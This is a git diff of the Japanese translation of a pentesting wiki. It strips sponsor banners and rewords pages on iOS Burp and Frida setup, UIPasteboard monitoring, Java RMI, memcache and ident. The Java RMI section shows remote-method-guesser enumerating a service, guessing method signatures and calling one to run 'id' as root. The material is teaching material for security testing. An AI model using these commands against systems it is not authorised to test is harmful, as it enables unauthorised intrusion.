+サードパーティSDKが提供するサービスには、ユーザー行動の追跡、広告表示、またはユーザーエクスペリエンスの向上が含まれる場合があります。しかし、これにより、開発者がこれらのライブラリによって実行されるコードを完全に把握していない可能性があるため、プライバシーやセキュリティのリスクが生じます。サードパーティサービスと共有する情報は必要なものに制限し、機密データが露出しないようにすることが重要です。 -サードパーティサービスの実装は通常、スタンドアロンライブラリまたは完全なSDKの2つの形態で行われます。ユーザーのプライバシーを保護するために、これらのサービスと共有されるデータは、個人を特定できる情報(PII)の開示を防ぐために**匿名化**されるべきです。 +サードパーティサービスの実装は通常、スタンドアロンライブラリまたは完全なSDKの2つの形式で行われます。ユーザーのプライバシーを保護するために、これらのサービスと共有されるデータは、個人を特定できる情報(PII)の開示を防ぐために**匿名化**されるべきです。 -アプリケーションが使用するライブラリを特定するために、**`otool`**コマンドを使用できます。このツールは、アプリケーションとそれが使用する各共有ライブラリに対して実行され、追加のライブラリを発見します。 +アプリケーションが使用しているライブラリを特定するために、**`otool`**コマンドを使用できます。このツールは、アプリケーションとそれが使用する各共有ライブラリに対して実行され、追加のライブラリを発見します。 ```bash otool -L ``` @@ -1105,11 +1084,5 @@ otool -L - [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS) - [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2) -
-\ -[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、**自動化**します。\ -今すぐアクセスを取得: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md b/src/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md index 7aa190c85..539da36fe 100644 --- a/src/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md +++ b/src/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md @@ -2,17 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -
- -\ -[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=burp-configuration-for-ios)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフロー**を簡単に構築し、**自動化**します。\ -今すぐアクセスを取得: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=burp-configuration-for-ios" %} - ## iOSデバイスへのBurp証明書のインストール -iOSデバイスでの安全なウェブトラフィック分析とSSLピンニングのために、Burp Suiteは**Burp Mobile Assistant**を通じて、または手動設定を介して利用できます。以下は両方の方法の要約ガイドです: +iOSデバイスでの安全なウェブトラフィック分析とSSLピンニングのために、Burp Suiteは**Burp Mobile Assistant**を通じて、または手動設定を介して利用できます。以下は両方の方法の要約ガイドです。 ### Burp Mobile Assistantによる自動インストール @@ -20,35 +12,35 @@ iOSデバイスでの安全なウェブトラフィック分析とSSLピンニ ### 手動インストール手順 -1. **プロキシ設定:** iPhoneのWi-Fi設定でBurpをプロキシとして設定します。 -2. **証明書ダウンロード:** デバイスのブラウザで`http://burp`に移動して証明書をダウンロードします。 -3. **証明書インストール:** ダウンロードしたプロファイルを**設定** > **一般** > **VPNとデバイス管理**からインストールし、**証明書信頼設定**でPortSwigger CAの信頼を有効にします。 +1. **プロキシ設定:** まず、iPhoneのWi-Fi設定でBurpをプロキシとして設定します。 +2. **証明書ダウンロード:** デバイスのブラウザで`http://burp`に移動して証明書をダウンロードします。 +3. **証明書インストール:** ダウンロードしたプロファイルを**設定** > **一般** > **VPNとデバイス管理**からインストールし、**証明書信頼設定**でPortSwigger CAの信頼を有効にします。 ### インターセプションプロキシの設定 -この設定により、iOSデバイスとインターネット間のトラフィック分析がBurpを介して可能になり、クライアント間トラフィックをサポートするWi-Fiネットワークが必要です。利用できない場合は、usbmuxdを介したUSB接続が代替手段として機能します。PortSwiggerのチュートリアルでは、[デバイス設定](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp)および[証明書インストール](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device)に関する詳細な指示が提供されています。 +この設定により、iOSデバイスとインターネット間のトラフィック分析がBurpを介して可能になり、クライアント間トラフィックをサポートするWi-Fiネットワークが必要です。利用できない場合は、usbmuxdを介したUSB接続が代替手段として機能します。PortSwiggerのチュートリアルでは、[デバイス設定](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp)や[証明書インストール](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device)に関する詳細な指示が提供されています。 ### ジェイルブレイクデバイスのための高度な設定 -ジェイルブレイクされたデバイスを持つユーザーは、SSH over USB(**iproxy**を介して)を使用してトラフィックを直接Burpを通じてルーティングする方法を提供します: +ジェイルブレイクされたデバイスを持つユーザーは、USB経由のSSH(**iproxy**を使用)を利用してトラフィックを直接Burpを通じてルーティングする方法があります: -1. **SSH接続の確立:** iproxyを使用してSSHをローカルホストに転送し、iOSデバイスからBurpを実行しているコンピュータへの接続を可能にします。 +1. **SSH接続の確立:** iproxyを使用してSSHをローカルホストに転送し、iOSデバイスからBurpを実行しているコンピュータへの接続を可能にします。 ```bash iproxy 2222 22 ``` -2. **リモートポートフォワーディング:** iOSデバイスのポート8080をコンピュータのローカルホストに転送し、Burpのインターフェースへの直接アクセスを有効にします。 +2. **リモートポートフォワーディング:** iOSデバイスのポート8080をコンピュータのローカルホストに転送し、Burpのインターフェースへの直接アクセスを有効にします。 ```bash ssh -R 8080:localhost:8080 root@localhost -p 2222 ``` -3. **グローバルプロキシ設定:** 最後に、iOSデバイスのWi-Fi設定を手動プロキシを使用するように構成し、すべてのウェブトラフィックをBurpを通じてルーティングします。 +3. **グローバルプロキシ設定:** 最後に、iOSデバイスのWi-Fi設定を手動プロキシを使用するように設定し、すべてのウェブトラフィックをBurp経由で流します。 ### フルネットワークモニタリング/スニッフィング -非HTTPデバイストラフィックのモニタリングは、すべての形式のデータトラフィックをキャプチャできるツールである**Wireshark**を使用して効率的に行うことができます。iOSデバイスの場合、リモート仮想インターフェースの作成を通じてリアルタイムトラフィックモニタリングが可能であり、このプロセスは[このStack Overflowの投稿](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819)で詳述されています。開始する前に、macOSシステムに**Wireshark**をインストールする必要があります。 +非HTTPデバイストラフィックのモニタリングは、すべての形式のデータトラフィックをキャプチャできるツールである**Wireshark**を使用して効率的に行うことができます。iOSデバイスの場合、リアルタイムトラフィックモニタリングはリモート仮想インターフェースの作成を通じて実現され、このプロセスは[このStack Overflowの投稿](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819)で詳述されています。開始する前に、macOSシステムに**Wireshark**をインストールする必要があります。 手順は以下の主要なステップを含みます: @@ -59,7 +51,7 @@ $ rvictl -s Starting device [SUCCEEDED] with interface rvi0 ``` 3. UDIDの特定後、**Wireshark**を開き、「rvi0」インターフェースを選択してデータキャプチャを行います。 -4. 特定のIPアドレスに関連するHTTPトラフィックをキャプチャするなど、ターゲットモニタリングにはWiresharkのキャプチャフィルターを使用できます: +4. 特定のIPアドレスに関連するHTTPトラフィックをキャプチャするなど、ターゲットモニタリングのために、Wiresharkのキャプチャフィルターを使用できます: ## シミュレーターでのBurp証明書のインストール @@ -92,11 +84,5 @@ Burpをプロキシとして設定する手順: - _**Ok**_ をクリックし、次に _**Apply**_ をクリックします -
-\ -[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=burp-configuration-for-ios)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築し、**自動化**します。\ -今すぐアクセスを取得: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=burp-configuration-for-ios" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md b/src/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md index 41013885e..94c803af2 100644 --- a/src/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md +++ b/src/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md @@ -2,39 +2,34 @@ {{#include ../../banners/hacktricks-training.md}} -
-**モバイルセキュリティ**の専門知識を深めるために、8kSecアカデミーで学びましょう。自己ペースのコースを通じてiOSとAndroidのセキュリティをマスターし、認定を取得しましょう: +## Installing Frida -{% embed url="https://academy.8ksec.io/" %} +**JailbrokenデバイスにFridaをインストールする手順:** -## Fridaのインストール +1. Cydia/Sileoアプリを開く。 +2. Manage -> Sources -> Edit -> Addに移動する。 +3. URLとして「https://build.frida.re」を入力する。 +4. 新しく追加したFridaソースに移動する。 +5. Fridaパッケージをインストールする。 -**脱獄デバイスにFridaをインストールする手順:** - -1. Cydia/Sileoアプリを開きます。 -2. Manage -> Sources -> Edit -> Addに移動します。 -3. URLとして「https://build.frida.re」を入力します。 -4. 新しく追加したFridaソースに移動します。 -5. Fridaパッケージをインストールします。 - -**Corellium**を使用している場合は、[https://github.com/frida/frida/releases](https://github.com/frida/frida/releases)からFridaリリースをダウンロードする必要があります(`frida-gadget-[yourversion]-ios-universal.dylib.gz`)し、解凍してFridaが要求するdylibの場所にコピーします。例:`/Users/[youruser]/.cache/frida/gadget-ios.dylib` +**Corellium**を使用している場合は、[https://github.com/frida/frida/releases](https://github.com/frida/frida/releases)からFridaリリースをダウンロードする必要があります(`frida-gadget-[yourversion]-ios-universal.dylib.gz`)そして解凍してFridaが要求するdylibの場所にコピーします。例: `/Users/[youruser]/.cache/frida/gadget-ios.dylib` インストール後、PCで**`frida-ls-devices`**コマンドを使用してデバイスが表示されることを確認します(PCがデバイスにアクセスできる必要があります)。\ また、**`frida-ps -Uia`**を実行して電話の実行中のプロセスを確認します。 -## 脱獄していないデバイスでのFridaとアプリのパッチなし +## JailbrokenデバイスなしでのFridaおよびアプリのパッチなし -アプリのパッチなしで脱獄していないデバイスでFridaを使用する方法についてのブログ投稿を確認してください:[https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07) +アプリのパッチなしで非jailbrokenデバイスでFridaを使用する方法についてのブログ投稿を確認してください: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07) -## Fridaクライアントのインストール +## Frida Client Installation -**frida tools**をインストールします: +**frida tools**をインストールする: ```bash pip install frida-tools pip install frida ``` -Fridaサーバーがインストールされ、デバイスが実行中で接続されている状態で、**クライアントが** **動作しているか** **確認**します: +Fridaサーバーがインストールされ、デバイスが実行中で接続されている状態で、**クライアントが** **動作しているか確認**します: ```bash frida-ls-devices # List devices frida-ps -Uia # Get running processes @@ -189,7 +184,7 @@ Stalker.flush() // this is important to get all events [**fpicker**](https://github.com/ttdennis/fpicker) は、AFL++ モードやパッシブトレースモードなど、プロセス内ファジングのためのさまざまなファジングモードを提供する **Fridaベースのファジングスイート** です。Frida によってサポートされているすべてのプラットフォームで実行できるはずです。 -- [**fpickerをインストール**](https://github.com/ttdennis/fpicker#requirements-and-installation) **& radamsa** +- [**fpicker をインストール**](https://github.com/ttdennis/fpicker#requirements-and-installation) **& radamsa** ```bash # Get fpicker git clone https://github.com/ttdennis/fpicker @@ -307,7 +302,7 @@ fpicker -v --fuzzer-mode active -e attach -p -D usb -o example また、**`idevicesyslog`**を使用してiOSのログも確認できます。\ 一部のログは情報を省略し、**``**を追加します。すべての情報を表示するには、[https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/)からプロファイルをインストールして、そのプライベート情報を有効にする必要があります。 -何をすべきかわからない場合: +何をすべきかわからない場合は: ```sh vim /Library/Preferences/Logging/com.apple.system.logging.plist @@ -331,7 +326,7 @@ killall -9 logd - `~/Library/Logs/DiagnosticReports` > [!WARNING] -> iOSは同じアプリのクラッシュを25件しか保存しないため、これをクリアしないとiOSはクラッシュの作成を停止します。 +> iOSは同じアプリのクラッシュを25件しか保存しないため、これをクリアする必要があります。さもなければ、iOSはクラッシュの作成を停止します。 ## Frida Android Tutorials @@ -343,10 +338,5 @@ killall -9 logd - [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida) -
- -**モバイルセキュリティ**の専門知識を8kSecアカデミーで深めましょう。自己ペースのコースを通じてiOSとAndroidのセキュリティをマスターし、認定を取得しましょう: - -{% embed url="https://academy.8ksec.io/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/ios-pentesting/ios-uipasteboard.md b/src/mobile-pentesting/ios-pentesting/ios-uipasteboard.md index d6fc77487..84eb44efa 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-uipasteboard.md +++ b/src/mobile-pentesting/ios-pentesting/ios-uipasteboard.md @@ -1,22 +1,18 @@ {{#include ../../banners/hacktricks-training.md}} -
+iOSデバイス上のアプリケーション間でのデータ共有は、[`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard)メカニズムによって促進されており、主に2つのカテゴリに分かれています。 -{% embed url="https://websec.nl/" %} - -iOSデバイス上のアプリケーション間でのデータ共有は、[`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard)メカニズムによって促進されており、主に2つのカテゴリに分かれています: - -- **システム全体の一般ペーストボード**:これは**任意のアプリケーション**とデータを共有するために使用され、デバイスの再起動やアプリのアンインストールを超えてデータを持続させるように設計されています。この機能はiOS 10から利用可能です。 -- **カスタム/名前付きペーストボード**:これらは**アプリ内または同じチームIDを共有する別のアプリとのデータ共有**のために特に設計されており、作成したアプリケーションプロセスのライフサイクルを超えて持続するようには設計されていません。これはiOS 10で導入された変更に従っています。 +- **システム全体の一般ペーストボード**: これは**任意のアプリケーション**とデータを共有するために使用され、デバイスの再起動やアプリのアンインストールを超えてデータを持続させるように設計されています。この機能はiOS 10から利用可能です。 +- **カスタム / 名前付きペーストボード**: これらは**アプリ内または同じチームIDを共有する別のアプリとの間**でのデータ共有専用であり、作成したアプリケーションプロセスのライフサイクルを超えて持続するようには設計されていません。これはiOS 10で導入された変更に従っています。 **セキュリティの考慮事項**は、ペーストボードを利用する際に重要な役割を果たします。例えば: -- ユーザーが**ペーストボード**へのアクセスを管理するためのアプリ権限を管理するメカニズムはありません。 +- ユーザーが**ペーストボード**へのアクセス権を管理するメカニズムはありません。 - ペーストボードの不正なバックグラウンド監視のリスクを軽減するために、アクセスはアプリケーションがフォアグラウンドにあるときに制限されています(iOS 9以降)。 -- プライバシーの懸念から、持続的な名前付きペーストボードの使用は共有コンテナの方が推奨されています。 -- iOS 10で導入された**ユニバーサルクリップボード**機能は、一般ペーストボードを介してデバイス間でコンテンツを共有できるようにし、開発者がデータの有効期限を設定し、自動コンテンツ転送を無効にすることができます。 +- プライバシーの懸念から、持続的な名前付きペーストボードの使用は、共有コンテナの方が好まれます。 +- iOS 10で導入された**ユニバーサルクリップボード**機能は、一般的なペーストボードを介してデバイス間でコンテンツを共有できるようにし、開発者がデータの有効期限を設定し、自動コンテンツ転送を無効にすることができます。 -**機密情報が誤って**グローバルペーストボードに保存されないようにすることが重要です。さらに、アプリケーションはグローバルペーストボードデータの不正使用を防ぐように設計されるべきであり、開発者は機密情報をクリップボードにコピーすることを防ぐための対策を実装することが推奨されます。 +**機密情報が誤ってグローバルペーストボードに保存されないようにすること**が重要です。さらに、アプリケーションは、意図しないアクションのためにグローバルペーストボードデータの悪用を防ぐように設計されるべきであり、開発者は機密情報をクリップボードにコピーすることを防ぐための対策を実装することが推奨されます。 ### 静的分析 @@ -36,10 +32,10 @@ iOSデバイス上のアプリケーション間でのデータ共有は、[`UIP 監視すべき重要な詳細には以下が含まれます: - **ペーストボード名**と**内容**(例えば、文字列、URL、画像の確認)。 -- 存在する**アイテムの数**と**データ型**、標準およびカスタムデータ型チェックを活用します。 -- `setItems:options:`メソッドを検査して**有効期限およびローカル専用オプション**を確認します。 +- 存在する**アイテムの数**と**データタイプ**、標準およびカスタムデータタイプチェックを活用します。 +- `setItems:options:`メソッドを調査して**有効期限およびローカル専用オプション**を確認します。 -監視ツールの使用例としては、**objectionのペーストボードモニター**があり、一般ペーストボードを5秒ごとにポーリングして変更を確認し、新しいデータを出力します。 +監視ツールの使用例としては、**objectionのペーストボードモニター**があり、一般的なペーストボードを5秒ごとにポーリングして変更を確認し、新しいデータを出力します。 以下は、objectionのアプローチに触発されたシンプルなJavaScriptスクリプトの例で、ペーストボードからの変更を5秒ごとに読み取り、ログに記録します: ```javascript @@ -78,8 +74,5 @@ console.log(items) - [https://hackmd.io/@robihamanto/owasp-robi](https://hackmd.io/@robihamanto/owasp-robi) - [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/) -
- -{% embed url="https://websec.nl/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/1099-pentesting-java-rmi.md b/src/network-services-pentesting/1099-pentesting-java-rmi.md index 1de268a94..45ad2e705 100644 --- a/src/network-services-pentesting/1099-pentesting-java-rmi.md +++ b/src/network-services-pentesting/1099-pentesting-java-rmi.md @@ -2,17 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -
- -\ -[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフロー**を簡単に構築し、**自動化**します。\ -今すぐアクセスを取得: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %} - ## 基本情報 -_Javaリモートメソッド呼び出し_、または_Java RMI_は、1つの_Java仮想マシン_にあるオブジェクトが別の_Java仮想マシン_にあるオブジェクトのメソッドを呼び出すことを可能にするオブジェクト指向の_RPC_メカニズムです。これにより、開発者はオブジェクト指向のパラダイムを使用して分散アプリケーションを記述できます。攻撃的な視点からの_Java RMI_の簡単な紹介は[このブラックハットトーク](https://youtu.be/t_aw1mDNhzI?t=202)で見ることができます。 +_Java Remote Method Invocation_(_Java RMI_)は、1つの_Java仮想マシン_にあるオブジェクトが別の_Java仮想マシン_にあるオブジェクトのメソッドを呼び出すことを可能にするオブジェクト指向の_RPC_メカニズムです。これにより、開発者はオブジェクト指向のパラダイムを使用して分散アプリケーションを作成できます。攻撃的な視点からの_Java RMI_の簡単な紹介は、[このblackhatトーク](https://youtu.be/t_aw1mDNhzI?t=202)で見ることができます。 **デフォルトポート:** 1090,1098,1099,1199,4443-4446,8999-9010,9999 ``` @@ -30,8 +22,8 @@ _nmap_ は時々 _SSL_ 保護された _RMI_ サービスを特定するのに 簡単に言うと、_Java RMI_ は開発者が _Java object_ をネットワーク上で利用可能にすることを可能にします。これにより、クライアントが接続し、対応するオブジェクトのメソッドを呼び出すための _TCP_ ポートが開かれます。これが簡単に聞こえるにもかかわらず、_Java RMI_ が解決しなければならないいくつかの課題があります: -1. _Java RMI_ を介してメソッド呼び出しを行うには、クライアントはターゲットオブジェクトの IP アドレス、リスニングポート、実装されたクラスまたはインターフェース、および `ObjID` を知っている必要があります(`ObjID` は、オブジェクトがネットワーク上で利用可能にされたときに作成される一意でランダムな識別子です。これは、_Java RMI_ が複数のオブジェクトが同じ _TCP_ ポートでリッスンすることを許可するために必要です)。 -2. リモートクライアントは、公開されたオブジェクトのメソッドを呼び出すことによってサーバー上にリソースを割り当てることがあります。_Java virtual machine_ は、これらのリソースのうちどれがまだ使用中で、どれがガベージコレクトできるかを追跡する必要があります。 +1. _Java RMI_ を介してメソッド呼び出しを行うには、クライアントはターゲットオブジェクトの IP アドレス、リスニングポート、実装されたクラスまたはインターフェース、および `ObjID` を知っている必要があります(`ObjID` は、オブジェクトがネットワーク上で利用可能にされたときに作成される一意でランダムな識別子です。これは、_Java RMI_ が複数のオブジェクトが同じ _TCP_ ポートでリスニングすることを許可するために必要です)。 +2. リモートクライアントは、公開されたオブジェクトのメソッドを呼び出すことによってサーバー上にリソースを割り当てることができます。_Java virtual machine_ は、これらのリソースのうちどれがまだ使用中で、どれがガーベジコレクトできるかを追跡する必要があります。 最初の課題は _RMI registry_ によって解決されます。これは基本的に _Java RMI_ のための名前付けサービスです。_RMI registry_ 自体も _RMI service_ ですが、実装されたインターフェースと `ObjID` は固定されており、すべての _RMI_ クライアントによって知られています。これにより、_RMI_ クライアントは対応する _TCP_ ポートを知っているだけで _RMI_ レジストリを利用することができます。 @@ -61,7 +53,7 @@ e.printStackTrace(); ``` 上記の課題の2番目は、_Distributed Garbage Collector_ (_DGC_)によって解決されます。これは、よく知られた`ObjID`値を持つ別の_RMI service_であり、基本的に各_RMI endpoint_で利用可能です。_RMI client_が_RMI service_の使用を開始すると、対応する_remote object_が使用中であることを_DGC_に通知します。_DGC_は参照カウントを追跡し、未使用のオブジェクトをクリーンアップすることができます。 -非推奨の_Activation System_とともに、これらは_Java RMI_の3つのデフォルトコンポーネントです: +廃止された_Activation System_とともに、これらは_Java RMI_の3つのデフォルトコンポーネントです: 1. _RMI Registry_ (`ObjID = 0`) 2. _Activation System_ (`ObjID = 1`) @@ -133,7 +125,7 @@ $ rmg enum 172.17.0.2 9010 ``` 列挙アクションの出力は、プロジェクトの[ドキュメントページ](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action)で詳しく説明されています。結果に応じて、特定された脆弱性を確認することを試みるべきです。 -_remote-method-guesser_によって表示される`ObjID`値は、サービスの稼働時間を特定するために使用できます。これにより、他の脆弱性を特定できる可能性があります。 +_remote-method-guesser_によって表示される`ObjID`値は、サービスの稼働時間を特定するために使用できます。これにより、他の脆弱性を特定できる場合があります。 ``` $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]' [+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236] @@ -146,9 +138,9 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]' ``` ## リモートメソッドのブルートフォース -列挙中に脆弱性が特定されていなくても、利用可能な _RMI_ サービスは依然として危険な関数を露出する可能性があります。さらに、_RMI_ 通信は _RMI_ デフォルトコンポーネントに対してデシリアライズフィルターによって保護されていますが、カスタム _RMI_ サービスと通信する際には、そのようなフィルターは通常存在しません。したがって、_RMI_ サービス上の有効なメソッドシグネチャを知ることは価値があります。 +列挙中に脆弱性が特定されていなくても、利用可能な _RMI_ サービスは依然として危険な関数を露出する可能性があります。さらに、_RMI_ 通信が _RMI_ デフォルトコンポーネントに対してはデシリアライズフィルターによって保護されているものの、カスタム _RMI_ サービスとの通信では、そのようなフィルターは通常存在しません。したがって、_RMI_ サービス上の有効なメソッドシグネチャを知ることは価値があります。 -残念ながら、_Java RMI_ は _リモートオブジェクト_ 上のメソッドを列挙することをサポートしていません。それを踏まえると、[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) や [rmiscout](https://github.com/BishopFox/rmiscout) のようなツールを使用してメソッドシグネチャをブルートフォースすることが可能です。 +残念ながら、_Java RMI_ は _リモートオブジェクト_ 上のメソッドを列挙することをサポートしていません。とはいえ、[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) や [rmiscout](https://github.com/BishopFox/rmiscout) のようなツールを使用してメソッドシグネチャをブルートフォースすることは可能です。 ``` $ rmg guess 172.17.0.2 9010 [+] Reading method candidates from internal wordlist rmg.txt @@ -178,7 +170,7 @@ $ rmg guess 172.17.0.2 9010 [+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode) [+] --> String login(java.util.HashMap dummy1) ``` -特定されたメソッドは次のように呼び出すことができます: +特定されたメソッドは次のように呼び出すことができます: ``` $ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar [+] uid=0(root) gid=0(root) groups=0(root) @@ -217,7 +209,7 @@ uid=0(root) gid=0(root) groups=0(root) ## Known Interfaces -[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)は、クラスまたはインターフェースがツールの内部データベースにリストされている場合、それらを`known`としてマークします。この場合、対応する_RMIサービス_に関する詳細情報を取得するために`known`アクションを使用できます: +[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)は、ツールの内部データベースにリストされている場合、クラスやインターフェースを`known`としてマークします。この場合、対応する_RMIサービス_に関する詳細情報を取得するために`known`アクションを使用できます: ``` $ rmg enum 172.17.0.2 1090 | head -n 5 [+] RMI registry bound names: @@ -301,12 +293,4 @@ Name: Enumeration Description: Perform basic enumeration of an RMI service Command: rmg enum {IP} {PORT} ``` -
- -\ -[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi)を使用して、世界で最も**高度な**コミュニティツールによって**ワークフローを自動化**することが簡単にできます。\ -今すぐアクセスを取得: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/11211-memcache/memcache-commands.md b/src/network-services-pentesting/11211-memcache/memcache-commands.md index c73ddbab0..1309c5107 100644 --- a/src/network-services-pentesting/11211-memcache/memcache-commands.md +++ b/src/network-services-pentesting/11211-memcache/memcache-commands.md @@ -2,9 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} ## Commands Cheat-Sheet @@ -100,7 +97,7 @@ STAT active_slabs 3 STAT total_malloced 3145436 END ``` -メモリが十分かどうか不明な場合は、常に「stats」コマンドによって提供される「evictions」カウンタを確認してください。インスタンスに十分なメモリがある場合、「evictions」カウンタは0であるか、少なくとも増加していないはずです。 +メモリが十分かどうか不明な場合は、常に「stats」コマンドによって提供される「evictions」カウンターを確認してください。インスタンスに十分なメモリがある場合、「evictions」カウンターは0であるか、少なくとも増加していないはずです。 #### どのキーが使用されていますか? @@ -118,10 +115,6 @@ STAT items:2:age 1405 [...] END ``` -これにより、どのキーが使用されているかを確認するのに役立ちます。memcacheアクセスを既に行っているPHPスクリプトからキー名をダンプするには、[100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html)のPHPコードを使用できます。 - -
- -{% embed url="https://websec.nl/" %} +これは、どのキーが使用されているかを確認するのに役立ちます。memcacheアクセスを既に行っているPHPスクリプトからキー名をダンプするには、[100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html)のPHPコードを使用できます。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/113-pentesting-ident.md b/src/network-services-pentesting/113-pentesting-ident.md index 76bf28539..8611e2ea4 100644 --- a/src/network-services-pentesting/113-pentesting-ident.md +++ b/src/network-services-pentesting/113-pentesting-ident.md @@ -2,20 +2,13 @@ {{#include ../banners/hacktricks-training.md}} -
- -[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=113-pentesting-ident)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフロー**を簡単に構築し、**自動化**します。\ -今すぐアクセスを取得: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=113-pentesting-ident" %} - ## 基本情報 -**Identプロトコル**は、**インターネット**上で**TCP接続**を特定のユーザーに関連付けるために使用されます。元々は**ネットワーク管理**と**セキュリティ**を支援するために設計されており、サーバーがポート113でクライアントに問い合わせて特定のTCP接続のユーザーに関する情報を要求することによって機能します。 +**Identプロトコル**は、**インターネット**上で**TCP接続**を特定のユーザーに関連付けるために使用されます。元々は**ネットワーク管理**と**セキュリティ**を支援するために設計されており、サーバーがポート113でクライアントに問い合わせを行い、特定のTCP接続のユーザーに関する情報を要求することによって機能します。 -しかし、現代のプライバシーの懸念や悪用の可能性から、その使用は減少しています。なぜなら、意図せずにユーザー情報を不正な第三者に明らかにする可能性があるからです。これらのリスクを軽減するために、暗号化された接続や厳格なアクセス制御などの強化されたセキュリティ対策が推奨されます。 +しかし、現代のプライバシーに関する懸念や悪用の可能性から、その使用は減少しています。なぜなら、意図せずにユーザー情報を不正な第三者に明らかにする可能性があるからです。これらのリスクを軽減するためには、暗号化された接続や厳格なアクセス制御などの強化されたセキュリティ対策が推奨されます。 -**デフォルトポート:** 113 +**デフォルトポート:** 113 ``` PORT STATE SERVICE 113/tcp open ident @@ -24,21 +17,21 @@ PORT STATE SERVICE ### **手動 - ユーザーを取得/サービスを特定する** -マシンがサービス ident と samba (445) を実行しており、ポート 43218 を使用して samba に接続している場合、samba サービスを実行しているユーザーを取得することができます: +マシンがサービス ident と samba (445) を実行しており、ポート 43218 を使用して samba に接続している場合、samba サービスを実行しているユーザーを取得するには、次のようにします: ![](<../images/image (843).png>) -サービスに接続するときに単に Enter を押すと: +サービスに接続するときに単に Enter を押すと: ![](<../images/image (159).png>) -他のエラー: 